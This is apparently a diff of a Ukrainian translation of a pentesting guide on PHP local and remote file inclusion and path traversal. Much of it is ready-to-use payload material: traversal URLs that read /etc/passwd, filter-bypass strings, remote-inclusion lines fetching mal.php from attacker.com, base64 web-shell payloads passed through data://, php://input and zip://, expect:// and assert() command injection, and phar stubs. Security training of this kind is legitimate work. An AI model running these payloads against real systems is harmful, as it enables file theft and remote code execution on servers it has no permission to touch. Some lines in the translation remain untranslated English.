http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
``` ```
3. **Інтерпретація результатів:** Відповідь сервера вказує, чи існує папка: 3. **Інтерпретація результатів:** Відповідь сервера вказує, чи існує папка:
- **Помилка / Немає виходу:** Папка `private`, ймовірно, не існує за вказаним місцем. - **Error / No Output:** Папка `private` ймовірно не існує в зазначеному місці.
- **Вміст `/etc/passwd`:** Присутність папки `private` підтверджена. - **Contents of `/etc/passwd`:** Наявність папки `private` підтверджено.
4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні методи Local File Inclusion (LFI). 4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи той самий прийом або традиційні методи Local File Inclusion (LFI).
Для дослідження каталогів у різних місцях файлової системи, відповідно налаштуйте payload. Наприклад, щоб перевірити, чи містить `/var/www/` каталог `private` (припускаючи, що поточний каталог на глибині 3), використовуйте: Для дослідження каталогів у різних місцях файлової системи відповідно відкоригуйте payload. Наприклад, щоб перевірити, чи містить `/var/www/` каталог `private` (припускаючи, що поточний каталог знаходиться на глибині 3), використовуйте:
```bash ```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
``` ```
### **Техніка обмеження шляху** ### **Path Truncation Technique**
Path truncation - це метод, що використовується для маніпуляції шляхами файлів у веб-додатках. Його часто використовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи в кінець шляхів файлів. Мета полягає в тому, щоб створити шлях до файлу, який, після зміни заходом безпеки, все ще вказує на потрібний файл. Path truncation є методом, який застосовується для маніпуляції файловими шляхами в веб‑додатках. Його часто використовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи в кінець шляхів до файлів. Мета — створити шлях до файлу, який після змін, внесених заходом безпеки, все ще вказуватиме на потрібний файл.
У PHP різні представлення шляху до файлу можуть вважатися еквівалентними через природу файлової системи. Наприклад: У PHP різні представлення шляху до файлу можуть вважатися еквівалентними через особливості файлової системи. Наприклад:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` та `/etc/passwd/` всі розглядаються як один і той же шлях. - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` всі трактуються як один і той самий шлях.
- Коли останні 6 символів - це `passwd`, додавання `/` (перетворюючи його на `passwd/`) не змінює цільовий файл. - Коли останні 6 символів `passwd`, додавання `/` (тобто `passwd/`) не змінює цільовий файл.
- Аналогічно, якщо до шляху файлу додається `.php` (як `shellcode.php`), додавання `/.` в кінці не змінить файл, до якого здійснюється доступ. - Аналогічно, якщо до шляху додається `.php` (наприклад `shellcode.php`), додавання `/.` у кінці не змінить файл, до якого здійснюється доступ.
Наведенні приклади демонструють, як використовувати обмеження шляху для доступу до `/etc/passwd`, що є поширеною мішенню через його чутливий вміст (інформація про облікові записи користувачів): Наведені приклади показують, як використовувати path truncation для доступу до `/etc/passwd`, який часто стає мішенню через чутливий вміст (інформація про облікові записи користувачів):
``` ```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,17 +124,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
``` ```
У цих сценаріях кількість необхідних переходів може становити близько 2027, але це число може змінюватися в залежності від конфігурації сервера. У цих сценаріях кількість traversals, що потрібні, може становити близько 2027, але це число може змінюватися залежно від конфігурації сервера.
- **Використання крапкових сегментів та додаткових символів**: Послідовності переходів (`../`), поєднані з додатковими крапковими сегментами та символами, можуть бути використані для навігації по файловій системі, ефективно ігноруючи додані рядки сервером. - **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) у поєднанні з додатковими dot segments і символами можуть використовуватися для навігації файловою системою, фактично ігноруючи додані сервером рядки.
- **Визначення необхідної кількості переходів**: Через проби та помилки можна знайти точну кількість послідовностей `../`, необхідних для навігації до кореневої директорії, а потім до `/etc/passwd`, забезпечуючи нейтралізацію будь-яких доданих рядків (як-от `.php`), але залишаючи бажаний шлях (`/etc/passwd`) незмінним. - **Determining the Required Number of Traversals**: За методом спроб і помилок можна знайти точну кількість `../` послідовностей, щоб дістатися до кореневого каталогу, а потім до `/etc/passwd`, забезпечивши нейтралізацію будь‑яких доданих рядків (наприклад, `.php`), але збереження бажаного шляху (`/etc/passwd`).
- **Початок з фейкової директорії**: Це поширена практика починати шлях з неіснуючої директорії (як-от `a/`). Ця техніка використовується як запобіжний захід або для виконання вимог логіки парсингу шляхів сервера. - **Starting with a Fake Directory**: Загальноприйнята практика — починати шлях з неіснуючого каталогу (наприклад, `a/`). Ця техніка використовується як запобіжний захід або щоб виконати вимоги логіки розбору шляху сервером.
При використанні технік скорочення шляхів важливо розуміти поведінку парсингу шляхів сервера та структуру файлової системи. Кожен сценарій може вимагати різного підходу, і часто необхідно тестування, щоб знайти найбільш ефективний метод. При застосуванні path truncation techniques важливо розуміти поведінку парсера шляхів сервера та структуру файлової системи. Кожен сценарій може вимагати іншого підходу, і часто необхідне тестування, щоб знайти найефективніший метод.
**Цю вразливість було виправлено в PHP 5.3.** **This vulnerability was corrected in PHP 5.3.**
### **Трюки обходу фільтрів** ### **Filter bypass tricks**
``` ```
http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -145,25 +144,25 @@ http://example.com/index.php?page=PhP://filter
``` ```
## Remote File Inclusion ## Remote File Inclusion
У php це вимкнено за замовчуванням, оскільки **`allow_url_include`** є **Вимкнено.** Він повинен бути **Увімкнено** для того, щоб це працювало, і в такому випадку ви могли б включити PHP файл з вашого сервера і отримати RCE: У php це за замовчуванням вимкнено, оскільки **`allow_url_include`** **Off.** Потрібно, щоб він був **On**, щоб це працювало, і в такому випадку ви могли б включити PHP файл зі свого сервера та отримати RCE:
```python ```python
http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php
``` ```
Якщо з якоїсь причини **`allow_url_include`** увімкнено, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [згідно з цим постом](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете, наприклад, використовувати протокол даних з base64 для декодування коду PHP у форматі b64 та отримання RCE: Якщо з якоїсь причини **`allow_url_include`** **увімкнено**, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), можна, наприклад, використати data-протокол з base64, щоб декодувати b64 PHP-код і отримати RCE:
``` ```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
``` ```
> [!TIP] > [!TIP]
> У попередньому коді фінальний `+.txt` був доданий, оскільки зловмиснику потрібен рядок, який закінчується на `.txt`, тому рядок закінчується на ньому, а після декодування b64 ця частина поверне просто сміття, і справжній PHP код буде включено (і, отже, виконано). > У попередньому коді фінальний `+.txt` було додано, тому що зловмиснику потрібен був рядок, який закінчувався на `.txt`, тож рядок закінчується ним, і після b64 декодування ця частина поверне лише сміття, а реальний PHP-код буде включено (і, отже, виконано).
Інший приклад **без використання протоколу `php://`** буде: Ще один приклад **без використання протоколу `php://`**:
``` ```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
``` ```
## Python Root element ## Python кореневий елемент
В Python в коді, як у цьому: У python у коді на кшталт цього:
```python ```python
# file_name is controlled by a user # file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name) os.path.join(os.getcwd(), "public", file_name)
@ -173,17 +172,17 @@ os.path.join(os.getcwd(), "public", file_name)
os.path.join(os.getcwd(), "public", "/etc/passwd") os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd' '/etc/passwd'
``` ```
Це очікувана поведінка відповідно до [документації](https://docs.python.org/3.10/library/os.path.html#os.path.join): Це очікувана поведінка згідно з [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Якщо компонент є абсолютним шляхом, всі попередні компоненти скидаються, і об'єднання продовжується з абсолютного компоненту шляху. > Якщо компонент є абсолютним шляхом, усі попередні компоненти відкидаються, і об’єднання продовжується від компонента з абсолютним шляхом.
## Java Список директорій ## Java: перелік директорій
Схоже, що якщо у вас є Path Traversal в Java і ви **запитуєте директорію** замість файлу, **повертається список директорії**. Це не відбуватиметься в інших мовах (наскільки мені відомо). Здається, якщо у вас є Path Traversal у Java і ви **запитуєте директорію** замість файлу, повертається **перелік вмісту директорії**. Це не відбуватиметься в інших мовах (наскільки мені відомо).
## Топ 25 параметрів ## Топ 25 параметрів
Ось список з 25 найкращих параметрів, які можуть бути вразливими до вразливостей локального включення файлів (LFI) (з [посилання](https://twitter.com/trbughunters/status/1279768631845494787)): Ось список топ-25 параметрів, які можуть бути вразливі до local file inclusion (LFI) (з [link](https://twitter.com/trbughunters/status/1279768631845494787)):
``` ```
?cat={payload} ?cat={payload}
?dir={payload} ?dir={payload}
@ -211,38 +210,38 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
?mod={payload} ?mod={payload}
?conf={payload} ?conf={payload}
``` ```
## LFI / RFI за допомогою PHP обгорток та протоколів ## LFI / RFI за допомогою PHP wrappers & протоколів
### php://filter ### php://filter
PHP фільтри дозволяють виконувати базові **операції модифікації даних** перед їх читанням або записом. Є 5 категорій фільтрів: Фільтри PHP дозволяють виконувати базові **операції модифікації над даними** перед тим, як вони будуть прочитані або записані. Існує 5 категорій фільтрів:
- [String Filters](https://www.php.net/manual/en/filters.string.php): - [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13` - `string.rot13`
- `string.toupper` - `string.toupper`
- `string.tolower` - `string.tolower`
- `string.strip_tags`: Видаляє теги з даних (все між символами "<" та ">") - `string.strip_tags`: Видаляє теги з даних (все, що знаходиться між символами "<" та ">" )
- Зверніть увагу, що цей фільтр зник з сучасних версій PHP - Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode` - `convert.base64-encode`
- `convert.base64-decode` - `convert.base64-decode`
- `convert.quoted-printable-encode` - `convert.quoted-printable-encode`
- `convert.quoted-printable-decode` - `convert.quoted-printable-decode`
- `convert.iconv.*` : Перетворює в іншу кодування (`convert.iconv.<input_enc>.<output_enc>`). Щоб отримати **список всіх підтримуваних кодувань**, запустіть у консолі: `iconv -l` - `convert.iconv.*` : Перетворює в іншу кодування (`convert.iconv.<input_enc>.<output_enc>`). Щоб отримати **список усіх підтримуваних кодувань**, виконайте в консолі: `iconv -l`
> [!WARNING] > [!WARNING]
> Зловживаючи фільтром перетворення `convert.iconv.*`, ви можете **генерувати довільний текст**, що може бути корисно для запису довільного тексту або створення функції, яка включає процес довільного тексту. Для отримання додаткової інформації перегляньте [**LFI2RCE через php фільтри**](lfi2rce-via-php-filters.md). > Зловживаючи фільтром конверсії `convert.iconv.*`, ви можете **генерувати довільний текст**, що може бути корисним для запису довільного тексту або змусити функцію типу include обробляти довільний текст. Для додаткової інформації перегляньте [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php) - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Стискає вміст (корисно, якщо потрібно ексфільтрувати багато інформації) - `zlib.deflate`: Стискає вміст (корисно при ексфільтрації великої кількості інформації)
- `zlib.inflate`: Розпаковує дані - `zlib.inflate`: Розпаковує дані
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Застарілий - `mcrypt.*` : Застаріле
- `mdecrypt.*` : Застарілий - `mdecrypt.*` : Застаріле
- Інші фільтри - Other Filters
- Запустивши в php `var_dump(stream_get_filters());`, ви можете знайти кілька **неочікуваних фільтрів**: - Запустивши в PHP `var_dump(stream_get_filters());`, ви можете знайти кілька **неочікуваних фільтрів**:
- `consumed` - `consumed`
- `dechunk`: скасовує кодування HTTP chunked - `dechunk`: скасовує HTTP chunked encoding
- `convert.*` - `convert.*`
```php ```php
# String Filters # String Filters
@ -271,39 +270,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
``` ```
> [!WARNING] > [!WARNING]
> Частина "php://filter" не чутлива до регістру > Частина "php://filter" нечутлива до регістру
### Використання фільтрів php як оракула для читання довільних файлів ### Використання php filters як oracle для читання довільних файлів
[**У цьому пості**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) пропонується техніка для читання локального файлу без отримання виходу від сервера. Ця техніка базується на **логічній ексфільтрації файлу (символ за символом) з використанням фільтрів php** як оракула. Це пов'язано з тим, що фільтри php можуть бути використані для збільшення тексту настільки, щоб php викликав виключення. [**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) запропонована техніка для читання локального файлу без отримання виводу від сервера. Ця техніка базується на **boolean exfiltration of the file (char by char) using php filters** як oracle. Це тому, що php filters можна використати, щоб зробити текст достатньо великим, щоб php кинув виняток.
У оригінальному пості ви можете знайти детальне пояснення техніки, але ось швидкий підсумок: В оригінальному дописі можна знайти детальне пояснення техніки, але тут — коротке резюме:
- Використовуйте кодек **`UCS-4LE`**, щоб залишити ведучий символ тексту на початку і зробити розмір рядка експоненційно більшим. - Використати кодек **`UCS-4LE`** щоб залишити провідний символ тексту на початку і змусити розмір рядка зростати експоненційно.
- Це буде використано для генерації **тексту настільки великого, коли початкова літера вгадана правильно**, що php викличе **помилку**. - Це буде використано для генерації **text so big when the initial letter is guessed correctly**, який, якщо початкова літера вгадана правильно, буде настільки великий, що php спричинить **помилку**.
- Фільтр **dechunk** **видалить все, якщо перший символ не є шістнадцятковим**, тому ми можемо дізнатися, чи є перший символ шістнадцятковим. - Фільтр **dechunk** **видалить усе, якщо перший символ не є шістнадцятковим**, тому можна дізнатися, чи перший символ є hex.
- Це, в поєднанні з попереднім (і іншими фільтрами в залежності від вгаданої літери), дозволить нам вгадати літеру на початку тексту, спостерігаючи, коли ми робимо достатньо перетворень, щоб вона більше не була шістнадцятковим символом. Тому що, якщо шістнадцятковий, dechunk не видалить його, а початкова бомба викличе помилку php. - Це, у поєднанні з попереднім (та іншими фільтрами залежно від вгаданої літери), дозволить вгадувати літеру на початку тексту, спостерігаючи, коли достатньо трансформацій зроблять її не шістнадцятковим символом. Тому що, якщо це hex, dechunk не видалить її і початкова «бомба» спричинить php помилку.
- Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (так що після цього кодека: a -> b). Це дозволяє нам дізнатися, чи є перша літера `a`, наприклад, тому що якщо ми застосуємо 6 з цього кодека a->b->c->d->e->f->g, літера більше не є шістнадцятковим символом, отже, dechunk не видалив її, і помилка php викликана, оскільки вона множиться з початковою бомбою. - Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (тому після цього кодека: a -> b). Це дозволяє виявити, чи перша літера — наприклад, `a`, бо якщо застосувати 6 разів цей кодек: a->b->c->d->e->f->g, літера перестає бути шістнадцятковим символом, отже dechunk не видаляє її і php помилка спрацьовує через множення з початковою «бомбою».
- Використовуючи інші перетворення, такі як **rot13** на початку, можливо витягнути інші символи, такі як n, o, p, q, r (і інші кодеки можуть бути використані для переміщення інших літер у шістнадцятковий діапазон). - Використовуючи інші трансформації, такі як **rot13** на початку, можна leak інші символи, наприклад n, o, p, q, r (і інші кодеки можна використати, щоб перемістити інші літери в hex-діапазон).
- Коли початковий символ є числом, потрібно закодувати його в base64 і витягнути 2 перші літери, щоб витягнути число. - Коли початковий символ — число, потрібно закодувати його в base64 і leak перші 2 літери, щоб leak число.
- Остаточна проблема полягає в тому, **як витягти більше, ніж початкову літеру**. Використовуючи фільтри пам'яті порядку, такі як **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можливо змінити порядок символів і отримати на першій позиції інші літери тексту. - Остаткова проблема — зрозуміти **how to leak more than the initial letter**. Використовуючи фільтри порядку пам'яті, такі як **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можливо змінити порядок символів і отримати на першій позиції інші літери тексту.
- І для того, щоб мати можливість отримати **додаткові дані**, ідея полягає в тому, щоб **згенерувати 2 байти сміттєвих даних на початку** з **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE**, щоб зробити його **поворотним з наступними 2 байтами**, і **видалити дані до сміттєвих даних** (це видалить перші 2 байти початкового тексту). Продовжуйте це робити, поки не досягнете бажаного біта для витоку. - І щоб мати змогу отримати **further data**, ідея полягає в тому, щоб **generate 2 bytes of junk data at the beginning** за допомогою **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE**, щоб це **pivot with the next 2 bytes**, і **delete the data until the junk data** (це видалить перші 2 байти початкового тексту). Продовжуйте робити це, поки не дійдете до потрібного біта для leak.
У пості також було витекло інструмент для автоматичного виконання цього: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). У дописі також був leaked інструмент для автоматизації: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd ### php://fd
Цей обгортка дозволяє отримати доступ до дескрипторів файлів, які процес має відкритими. Потенційно корисно для ексфільтрації вмісту відкритих файлів: This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
```php ```php
echo file_get_contents("php://fd/3"); echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r"); $myfile = fopen("/etc/passwd", "r");
``` ```
Ви також можете використовувати **php://stdin, php://stdout і php://stderr** для доступу до **файлових дескрипторів 0, 1 і 2** відповідно (не впевнений, як це може бути корисно в атаці) Ви також можете використовувати **php://stdin, php://stdout and php://stderr** для доступу до **file descriptors 0, 1 and 2** відповідно (не впевнений, як це може бути корисним у атаці)
### zip:// і rar:// ### zip:// and rar://
Завантажте файл Zip або Rar з PHPShell всередині та отримайте до нього доступ.\ Завантажте Zip або Rar файл з PHPShell всередині та отримайте до нього доступ.\
Щоб мати можливість зловживати протоколом rar, його **необхідно спеціально активувати**. Щоб мати змогу зловживати rar protocol, він **потребує спеціальної активації**.
```bash ```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php; echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php; zip payload.zip payload.php;
@ -328,24 +327,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>" NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
``` ```
Зверніть увагу, що цей протокол обмежений конфігураціями php **`allow_url_open`** та **`allow_url_include`** Зверніть увагу, що цей протокол обмежується налаштуваннями php **`allow_url_open`** та **`allow_url_include`**
### expect:// ### expect://
Expect має бути активовано. Ви можете виконати код, використовуючи це: Expect має бути активовано. Ви можете виконувати код за допомогою цього:
``` ```
http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls http://example.com/index.php?page=expect://ls
``` ```
### input:// ### input://
Вкажіть ваш payload у параметрах POST: Вкажіть свій payload у POST параметрах:
```bash ```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>" curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
``` ```
### phar:// ### phar://
Файл `.phar` може бути використаний для виконання PHP коду, коли веб-додаток використовує функції, такі як `include`, для завантаження файлів. Наведений нижче фрагмент PHP коду демонструє створення файлу `.phar`: Файл `.phar` може бути використаний для виконання PHP-коду, коли веб‑додаток використовує функції, такі як `include`, для завантаження файлів. Наведений нижче фрагмент PHP-коду демонструє створення файлу `.phar`:
```php ```php
<?php <?php
$phar = new Phar('test.phar'); $phar = new Phar('test.phar');
@ -354,94 +353,95 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>'); $phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering(); $phar->stopBuffering();
``` ```
Щоб скомпілювати файл `.phar`, потрібно виконати таку команду: Щоб скомпілювати файл `.phar`, слід виконати наступну команду:
```bash ```bash
php --define phar.readonly=0 create_path.php php --define phar.readonly=0 create_path.php
``` ```
При виконанні буде створено файл з назвою `test.phar`, який потенційно може бути використаний для експлуатації вразливостей Local File Inclusion (LFI). Після виконання буде створено файл з ім'ям `test.phar`, який потенційно може бути використаний для експлуатації вразливостей Local File Inclusion (LFI).
У випадках, коли LFI лише виконує читання файлів без виконання PHP-коду всередині, через функції, такі як `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, або `filesize()`, можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов'язана з читанням файлів за допомогою протоколу `phar`. Якщо LFI лише читає файл без виконання PHP-коду всередині — наприклад через функції `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` або `filesize()` можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов'язана з читанням файлів з використанням протоколу `phar`.
Для детального розуміння експлуатації вразливостей десеріалізації в контексті файлів `.phar`, зверніться до документа, що наведений нижче: Для детального розуміння експлуатації вразливостей десеріалізації у контексті файлів `.phar` зверніться до документа, що наведений нижче:
[Phar Deserialization Exploitation Guide](phar-deserialization.md) [Phar Deserialization Exploitation Guide](phar-deserialization.md)
{{#ref}} {{#ref}}
phar-deserialization.md phar-deserialization.md
{{#endref}} {{#endref}}
### CVE-2024-2961 ### CVE-2024-2961
Було можливим зловживати **будь-яким довільним читанням файлів з PHP, що підтримує php фільтри**, щоб отримати RCE. Детальний опис можна [**знайти в цьому пості**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ Було можливо зловживати **будь-яким довільним читанням файлу з PHP, яке підтримує php filters**, щоб отримати RCE. Детальний опис можна [**знайти в цьому дописі**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1).\
Дуже короткий підсумок: **3-байтовий переповнення** в купі PHP було зловжито для **зміни ланцюга вільних шматків** специфічного розміру, щоб мати можливість **записувати що завгодно в будь-яку адресу**, тому був доданий хуки для виклику **`system`**.\ Дуже коротке резюме: **3 byte overflow** в heap PHP було використано, щоб **змінити ланцюг вільних чанків** певного розміру, щоб мати можливість **записати що завгодно в будь-яку адресу**, тому було додано хук для виклику **`system`**.\
Було можливим виділяти шматки специфічних розмірів, зловживаючи більше php фільтрами. Було можливо алоціювати чанки певних розмірів, зловживаючи додатковими php filters.
### Більше протоколів ### More protocols
Перевірте більше можливих [**протоколів для включення тут**](https://www.php.net/manual/en/wrappers.php)**:** Перегляньте більше можливих[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис у пам'ять або в тимчасовий файл (не впевнений, як це може бути корисно в атаці на включення файлів) - [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис у пам'ять або тимчасовий файл (не впевнений, як це може бути корисно в атаці file inclusion)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Доступ до локальної файлової системи - [file://](https://www.php.net/manual/en/wrappers.file.php) — Доступ до локальної файлової системи
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Доступ до HTTP(s) URL - [http://](https://www.php.net/manual/en/wrappers.http.php) — Доступ до HTTP(s) URL-ів
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Доступ до FTP(s) URL - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Доступ до FTP(s) URL-ів
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Потоки стиснення - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Потоки стиснення
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Знайти імена шляхів, що відповідають шаблону (не повертає нічого, що можна надрукувати, тому не дуже корисно тут) - [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Пошук імен шляхів, що відповідають шаблону (не повертає нічого друкованого, тому не дуже корисно тут)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Аудіопотоки (не корисно для читання довільних файлів) - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Аудіопотоки (не корисно для читання довільних файлів)
## LFI через 'assert' PHP ## LFI via PHP's 'assert'
Ризики Local File Inclusion (LFI) в PHP особливо високі при роботі з функцією 'assert', яка може виконувати код у рядках. Це особливо проблематично, якщо вхідні дані, що містять символи обходу директорій, такі як "..", перевіряються, але не очищуються належним чином. Ризики Local File Inclusion (LFI) в PHP особливо високі при роботі з функцією 'assert', яка може виконувати код, що міститься в рядках. Це особливо проблематично, якщо ввод, що містить символи обходу директорій, як-от "..", перевіряється, але не належним чином очищується.
Наприклад, код PHP може бути спроектований для запобігання обходу директорій таким чином: Наприклад, PHP-код може бути спроєктований для запобігання обходу директорій ось так:
```bash ```bash
assert("strpos('$file', '..') === false") or die(""); assert("strpos('$file', '..') === false") or die("");
``` ```
Хоча це має на меті зупинити обходи, це ненавмисно створює вектор для ін'єкції коду. Щоб використати це для читання вмісту файлів, зловмисник може використовувати: Хоча це має на меті запобігти traversal, воно ненавмисно створює вектор для code injection. Щоб експлуатувати це і прочитати вміст файлу, attacker може використати:
```plaintext ```plaintext
' and die(highlight_file('/etc/passwd')) or ' ' and die(highlight_file('/etc/passwd')) or '
``` ```
Аналогічно, для виконання довільних системних команд можна використовувати: Аналогічно, для виконання довільних системних команд можна використати:
```plaintext ```plaintext
' and die(system("id")) or ' ' and die(system("id")) or '
``` ```
Важливо **URL-кодувати ці payloads**. It's important to **URL-encode these payloads**.
## PHP Blind Path Traversal ## PHP Blind Path Traversal
> [!WARNING] > [!WARNING]
> Ця техніка актуальна в випадках, коли ви **контролюєте** **шлях до файлу** функції **PHP**, яка **доступає до файлу**, але ви не побачите вміст файлу (як простий виклик **`file()`**), але вміст не відображається. > Ця техніка актуальна у випадках, коли ви **контролюєте** **шлях до файлу**, переданий **PHP function**, яка буде **доступатися до файлу**, але ви не побачите вміст файлу (наприклад простий виклик **`file()`**), оскільки вміст не відображається.
У [**цьому неймовірному пості**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) пояснюється, як сліпий перехід по шляху може бути зловжито через фільтр PHP для **екстракції вмісту файлу через помилковий оракул**. In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
У підсумку, техніка використовує **кодування "UCS-4LE"**, щоб зробити вміст файлу таким **великим**, що **функція PHP**, яка відкриває файл, викличе **помилку**. As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**.
Потім, щоб витягти перший символ, використовується фільтр **`dechunk`** разом з іншими, такими як **base64** або **rot13**, а в кінці використовуються фільтри **convert.iconv.UCS-4.UCS-4LE** та **convert.iconv.UTF16.UTF-16BE** для **розміщення інших символів на початку та їх витоку**. Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**.
